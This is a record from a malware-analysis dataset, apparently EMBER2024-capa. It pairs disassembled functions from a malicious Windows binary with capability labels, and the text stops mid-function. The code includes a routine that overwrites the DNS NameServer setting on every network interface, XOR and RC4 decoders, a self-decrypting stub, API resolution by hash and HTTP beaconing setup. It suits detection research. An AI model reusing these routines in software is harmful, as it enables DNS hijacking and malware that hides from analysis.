joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4049e0
Capabilities:
Persist via windows service
Query or enumerate registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor ebx, ebx
push ebx
push str.SYSTEMCurrentControlSetServicesTcpipParameters_
lea ecx, [ebp - 8]
mov dword [ebp - 8], ebx
call fcn.0040f6f9
push str.Interfaces_
lea ecx, [ebp - 8]
call fcn.004012ea
lea eax, [ebp - 0x10]
push eax
push 0xf003f
push ebx
push dword [ebp - 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x404a32
lea ecx, [ebp - 8]
call fcn.0040f6f4
xor al, al
jmp 0x404b41
push esi
push edi
push 1
lea ecx, [ebp - 4]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x80
mov dword [ebp - 4], ebx
call fcn.0040f686
mov eax, dword [ebp - 0x14]
inc eax
push eax
lea ecx, [ebp - 4]
call fcn.0040f686
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push ebx
push dword [ebp - 0x10]
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x404b0f
push ebx
push dword [ebp - 8]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
call fcn.0040f6f9
push dword [ebp - 4]
lea ecx, [ebp - 0xc]
call fcn.004012ea
lea eax, [ebp - 0x1c]
push eax
push 0xf003f
push ebx
push dword [ebp - 0xc]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404b20
mov eax, dword [ebp + 8]
mov eax, dword [eax]
cmp eax, ebx
jne 0x404abd
xor eax, eax
jmp 0x404ac4
push eax
call fcn.0040e93e
pop ecx
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx]
inc eax
push eax
push ecx
push 1
push ebx
push str.NameServer
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
call esi
cmp dword [ebp - 0x20], ebx
jne 0x404b46
inc dword [ebp - 0x18]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x14], 0x80
call fcn.0040f6f4
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call edi
test eax, eax
je 0x404a7a
push dword [ebp - 0x10]
call esi
mov bl, 1
jmp 0x404b53
push dword [ebp - 0x10]
call esi
lea ecx, [ebp - 0xc]
call fcn.0040f6f4
lea ecx, [ebp - 4]
call fcn.0040f6f4
lea ecx, [ebp - 8]
call fcn.0040f6f4
xor al, al
pop edi
pop esi
pop ebx
leave
ret 4
push dword [ebp - 0x10]
call esi
lea ecx, [ebp - 0xc]
call fcn.0040f6f4
lea ecx, [ebp - 4]
call fcn.0040f6f4
lea ecx, [ebp - 8]
call fcn.0040f6f4
mov al, bl
jmp 0x404b3f

Function at 0x40581a
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
xor al, al
cmp dword [esp + 8], ecx
jbe 0x405832
mov edx, dword [esp + 4]
xor al, byte [ecx + edx]
inc ecx
cmp ecx, dword [esp + 8]
jb 0x405824
ret
Function at 0x40584c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0xdf
mov byte [ebp - 0xe], 0xec
mov byte [ebp - 0xd], 0x43
mov byte [ebp - 0xc], 0xa0
mov byte [ebp - 0xb], 0x26
mov byte [ebp - 0xa], 0xb3
mov byte [ebp - 9], 0x5f
mov byte [ebp - 8], 0x35
mov byte [ebp - 7], 0xaf
mov byte [ebp - 6], 0x96
mov byte [ebp - 5], 0x1e
mov byte [ebp - 4], 0x8c
mov byte [ebp - 3], 0x12
mov byte [ebp - 2], 0x64
mov byte [ebp - 1], 0x7b
jbe 0x4058ab
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10]
sub ecx, eax
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
dec esi
jne 0x4058a2
pop esi
leave
ret

Function at 0x4065df
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 8]
movzx eax, word [esi + 4]
push edi
push eax
push dword [esi]
mov edi, ecx
lea ecx, [ebp - 0x10]
call fcn.00401207
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
movzx ecx, word [esi + 4]
push str.anonymous
push ecx
push eax
push dword [edi + 0x94]
call dword [sym.imp.WININET.dll_InternetConnectA]
pop edi
pop esi
leave
ret 4
Function at 0x4068cf
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword [ebp + 0x10]
mov esi, ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401732
xor ebx, ebx
mov dword [esi], 0x4198c4
mov byte [esi + 0x44], bl
push 1
lea ecx, [esi + 0x50]
mov dword [esi + 0x4c], ebx
call fcn.0040207c
push ebx
lea ecx, [esi + 0x54]
call fcn.0040207c
lea edi, [esi + 0x58]
mov dword [edi + 0xc], ebx
mov dword [edi + 8], ebx
mov dword [edi + 4], ebx
mov dword [esi + 0x74], ebx
mov dword [esi + 0x70], ebx
mov dword [esi + 0x6c], ebx
lea eax, [esi + 0x78]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], ebx
mov dword [eax + 4], ebx
push 4
lea eax, [ebp + 0x10]
push eax
mov dword [esi + 0x88], ebx
push 0x49
mov dword [esi + 0x8c], ebx
mov dword [esi + 0x90], ebx
push ebx
mov dword [0x41fd40], ebx
mov dword [ebp + 0x10], 0xff
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea eax, [ebp + 0x10]
push eax
push 0x4a
push ebx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_4.0__compatible__MSIE_6.0__Windoss_NT_5.1__SV1921_
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [esi + 0x94], eax
jne 0x4069a0
push ebx
push ebx
push ebx
push 1
push str.Mozilla_4.0__compatible__MSIE_6.0__Windoss_NT_5.1__SV1921_
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [esi + 0x94], eax
jne 0x4069a0
mov ecx, esi
call fcn.004014f1
jmp 0x406a03
push ebx
call fcn.0040eb94
push eax
call fcn.0040eb10
pop ecx
pop ecx
call fcn.0040eb1a
and eax, 0x8000001f
jns 0x4069bf
dec eax
or eax, 0xffffffe0
inc eax
mov dword [esi + 0x48], eax
push ebx
mov ecx, edi
mov dword [edi + 0xc], 0x40688b
mov dword [edi + 8], esi
mov dword [edi + 4], ebx
call fcn.00402d6a
lea ecx, [esi + 0x78]
push ebx
mov dword [ecx + 0xc], 0x4060cf
mov dword [ecx + 8], esi
mov dword [ecx + 4], ebx
call fcn.00402d6a
lea ecx, [esi + 0x68]
push ebx
mov dword [ecx + 0xc], 0x406644
mov dword [ecx + 8], esi
mov dword [ecx + 4], ebx
call fcn.00402d6a
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x407a0a
Capabilities:
Create thread

Disassembly:
push esi
push edi
push 8
mov esi, ecx
call fcn.0040ec9c
pop ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
xor ecx, ecx
lea edi, [esi + 4]
push edi
push ecx
push eax
push 0x40a624
push ecx
push ecx
mov dword [eax], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi], eax
mov eax, dword [edi]
pop edi
pop esi
ret 4
Function at 0x4083e8
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push esi
push esi
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40846b
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x408464
push esi
push esi
push esi
push 2
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, esi
mov dword [ebp - 8], eax
je 0x408464
push edi
push esi
push esi
push esi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, esi
je 0x40845a
push dword [ebp + 8]
mov ecx, dword [ebp - 4]
push edi
call fcn.004082db
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
leave
ret 4

Function at 0x4084c3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
push 1
push 0x140
mov dword [esp + 0x18], ecx
call fcn.0040e5d7
mov esi, dword [esp + 0x24]
pop ecx
pop ecx
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x419b08
push esi
mov ebx, eax
call ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x40859e
add ebx, esi
mov dword [esp + 0x14], ebx
lea ebx, [edi + 0x2c]
mov eax, dword [esp + 0x14]
push 0x419aec
push ebx
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x408568
push 0x419b04
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x408568
push ebx
push esi
call ebp
test byte [edi], 0x10
je 0x40855e
push 0x4164e0
push esi
call ebp
push dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push esi
call fcn.004084c3
jmp 0x408568
mov ecx, dword [esp + 0x10]
push esi
call fcn.00408471
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x408594
mov eax, dword [esp + 0x10]
push 1
push 0
push dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
test eax, eax
jne 0x408516
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.0040e618
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 8

Function at 0x408c29
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push 0x10
mov eax, ecx
pop edi
mov bl, byte [esi]
xor bl, byte [edx]
mov byte [ecx], bl
inc ecx
inc edx
inc esi
dec edi
jne 0x408c3d
pop edi
pop esi
pop ebx
ret
Function at 0x40e1ee
Capabilities:
Access peb ldr_data
Create thread
Resolve function by hash

Disassembly:
pop esi
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x1c]
mov ebx, dword [ebx]
mov ebx, dword [ebx + 8]
mov dword [ebp - 0xc], ebx
push ebx
push 0xec0e4e8e
call esi
mov dword [ebp - 0x14], eax
push ebx
push 0x7c0dfcaa
call esi
mov dword [ebp - 0x10], eax
push ebx
push 0x7946c61b
call esi
mov dword [ebp - 4], eax
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [ebp + 8]
call fcn.0040e003
add esp, 0x10
mov byte [ebp - 5], al
movzx eax, byte [ebp - 5]
test eax, eax
je 0x40e259
push 0
push 0
push 0
push 0x404086
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40f367
Capabilities:
Connect socket

Disassembly:
push esi
push edi
push 0x10
push dword [esp + 0x10]
mov esi, ecx
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
mov edi, eax
cmp edi, 0xffffffff
sete al
mov ecx, esi
push eax
call fcn.0040f265
mov eax, edi
pop edi
pop esi
ret 4

Function at 0x40f5de
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
mov al, byte [esi]
cmp al, 0x30
jl 0x40f609
cmp al, 0x39
jg 0x40f609
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
je 0x40f609
cmp byte [esp + 0xc], 0
je 0x40f61f
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
pop esi
ret
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40f61d
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x40f5f9
xor eax, eax
pop esi
ret

Function at 0x40f961
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.004011b0
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
cmp eax, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
jne 0x40f98e
mov dword [ebp + 0x10], 0x1e
jmp 0x40f993
mov eax, dword [eax]
mov dword [ebp + 0x10], eax
mov esi, dword [edi + 4]
mov eax, dword [ebp + 0x10]
inc esi
cmp eax, ebx
mov dword [ebp + 8], eax
jle 0x40fa11
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 4]
cmp eax, ebx
mov dword [ebp - 0xc], eax
jle 0x40fa11
lea eax, [ebp - 0x1018]
push eax
mov ecx, edi
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x1018], ebx
call fcn.0040f27c
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1018]
push eax
push eax
push ebx
push esi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x40fa1b
cmp eax, ebx
je 0x40fa09
push ebx
push dword [ebp - 0xc]
mov ecx, edi
push dword [ebp - 8]
call fcn.0040f3bb
cmp eax, ebx
jle 0x40fa24
add dword [ebp - 8], eax
add dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp + 8], eax
jmp 0x40fa0c
dec dword [ebp + 8]
cmp dword [ebp + 8], ebx
jg 0x40f9a1
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0xc
push 1
mov ecx, edi
call fcn.0040f265
or eax, 0xffffffff
jmp 0x40fa14
Function at 0x410c89
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x2c]
push edi
mov edi, dword [esi + 0x3c]
sub edi, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
cmp eax, ecx
mov dword [ebp - 8], edi
jb 0x410d16
mov eax, dword [esi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.0040e874
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], ebx
sub dword [esi + 0x6c], ebx
add esp, 0xc
sub dword [esi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x410cd6
mov eax, dword [esi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x410cf8
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x410dd4
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 8]
cmp ecx, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
jbe 0x410d3e
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x410d49
xor eax, eax
jmp 0x410d95
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x410d66
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.0040fc92
jmp 0x410d76
cmp ecx, 2
jne 0x410d7f
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.00410197
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
add esp, 0xc
push dword [ebp - 4]
push dword [edi]
push eax
call fcn.0040e874
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x74], eax
mov edi, dword [esi + 0x74]
cmp edi, 3
jb 0x410dc0
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp edi, 0x106
jae 0x410dd4
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x410c94
pop edi
pop ebx
leave
ret
Function at 0x2ad3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.02ad378f
jae 0x2ad370e
xor ecx, ecx
call fcn.02ad378f
jae 0x2ad373d
xor eax, eax
call fcn.02ad378f
jae 0x2ad374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.02ad378f
adc al, al
jae 0x2ad372f
jne 0x2ad3779
stosb byte es:[edi], al
jmp 0x2ad3711
call fcn.02ad379b
sub ecx, ebx
jne 0x2ad3756
call fcn.02ad3799
jmp 0x2ad3775
lodsb al, byte [esi]
shr eax, 1
je 0x2ad3783
adc ecx, ecx
jmp 0x2ad3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.02ad3799
cmp eax, 0x7d00
jae 0x2ad3772
cmp ah, 5
jae 0x2ad3773
cmp eax, 0x7f
ja 0x2ad3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2ad3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8

Function at 0x40894f
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop esi
mov edi, 0x54b04a7c
call fcn.00408980
add edi, 0xa705bd92
sub ebx, edi
xor dword [ecx], esi
inc ecx
sub ebx, ebx
cmp ecx, edx
jne fcn.0040894f
or edi, ebx
sub ebx, 1
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x41a5a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x6ffa38]
xor edx, edx
cmp eax, edx
jne 0x41a5c6
xor eax, eax
mov byte [eax + 0x6ff938], al
inc eax
cmp eax, 0x100
jl 0x41a5ae
mov dword [0x6ffa38], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x6ff938
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41a657
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41a62a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41a5f8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41a6d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41a723
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41a70a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41e9c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x68
mov eax, dword [esp + 0x78]
push ebx
push esi
cmp eax, 1
push edi
mov dword [esp + 0x14], ecx
jl 0x41ebe1
cmp eax, 8
jg 0x41ebe1
cmp dword [esp + 0x8c], 2
jl 0x41ebe1
mov eax, dword [esp + 0x7c]
mov esi, dword [eax]
mov edi, dword [eax + 4]
mov ecx, dword [eax + 8]
mov dword [esp + 0x6c], ecx
sub ecx, esi
mov ebx, dword [eax + 0xc]
mov dword [esp + 0x7c], ecx
test ecx, ecx
mov dword [esp + 0x70], ebx
jle 0x41ebe1
sub ebx, edi
test ebx, ebx
mov dword [esp + 0x20], ebx
jle 0x41ebe1
mov eax, dword [esp + 0x80]
test eax, eax
je 0x41ea47
mov edx, dword [eax]
mov dword [esp + 0x44], edx
mov edx, dword [eax + 4]
mov dword [esp + 0x48], edx
mov edx, dword [eax + 8]
mov dword [esp + 0x4c], edx
mov eax, dword [eax + 0xc]
mov dword [esp + 0x50], eax
xor edx, edx
push ebp
test ebx, ebx
mov dword [esp + 0x1c], 1
mov dword [esp + 0x14], edx
jle 0x41ebca
mov ebp, dword [0x47248c]
mov eax, ebx
mov dword [esp + 0x10], 0x32
sub eax, edx
cmp eax, 0x32
jg 0x41ea79
mov dword [esp + 0x10], eax
xor eax, eax
test ecx, ecx
jle 0x41ebb1
mov ebx, dword [esp + 0x10]
add ebx, edx
mov dword [esp + 0x20], ebx
sub ecx, eax
cmp ecx, 0x32
jle 0x41ea99
mov ecx, 0x32
lea ebx, [ecx + eax]
mov ecx, dword [esp + 0x20]
push ecx
push ebx
push edx
lea edx, [esp + 0x34]
push eax
push edx
call dword [0x47249c]
push edi
lea eax, [esp + 0x2c]
push esi
push eax
call ebp
mov eax, dword [esp + 0x84]
test eax, eax
je 0x41ead8
lea ecx, [esp + 0x48]
lea edx, [esp + 0x28]
push ecx
lea eax, [esp + 0x2c]
push edx
push eax
call dword [0x472498]
lea ecx, [esp + 0x28]
push ecx
call dword [0x472458]
test eax, eax
jne 0x41eb98
mov eax, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], edx
mov edx, dword [esp + 0x34]
mov dword [esp + 0x40], ecx
mov eax, edi
mov ecx, esi
mov dword [esp + 0x44], edx
neg eax
neg ecx
push eax
lea edx, [esp + 0x3c]
push ecx
push edx
call ebp
mov edx, dword [esp + 0x40]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x60], edx
lea edx, [esp + 0x58]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x44]
push edx
mov edx, dword [esp + 0x94]
mov dword [esp + 0x60], ecx
mov ecx, dword [esp + 0x78]
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x74]
push edx
mov edx, dword [esp + 0x94]
sub ecx, edi
sub eax, esi
push edx
push ecx
mov ecx, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x9c]
push eax
call fcn.0041dfd0
cmp eax, 1
jne 0x41ebc2
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x80]
push edx
push eax
push ecx
mov ecx, dword [esp + 0x28]
call fcn.0041e880
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0x14]
mov eax, ebx
cmp eax, ecx
jl 0x41ea8d
mov ebx, dword [esp + 0x24]
add edx, dword [esp + 0x10]
cmp edx, ebx
mov dword [esp + 0x14], edx
jge 0x41ebca
jmp 0x41ea64
mov dword [esp + 0x1c], 0
mov ecx, dword [esp + 0x18]
call fcn.0041dbd0
mov eax, dword [esp + 0x1c]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x68
ret 0x1c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x68
ret 0x1c
Function at 0x421160
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4212f8
cmp ebp, ebx
jle 0x4212f8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4211be
dec eax
or eax, 0xfffffff8
inc eax
je 0x4211c5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, 0x80000001
jns 0x4211d4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4211db
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00460b3d
add esp, 4
cmp eax, ebx
je 0x4211fc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00460b3d
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4212ee
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4212d5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4212c1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4212b6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4212c4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4212c4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
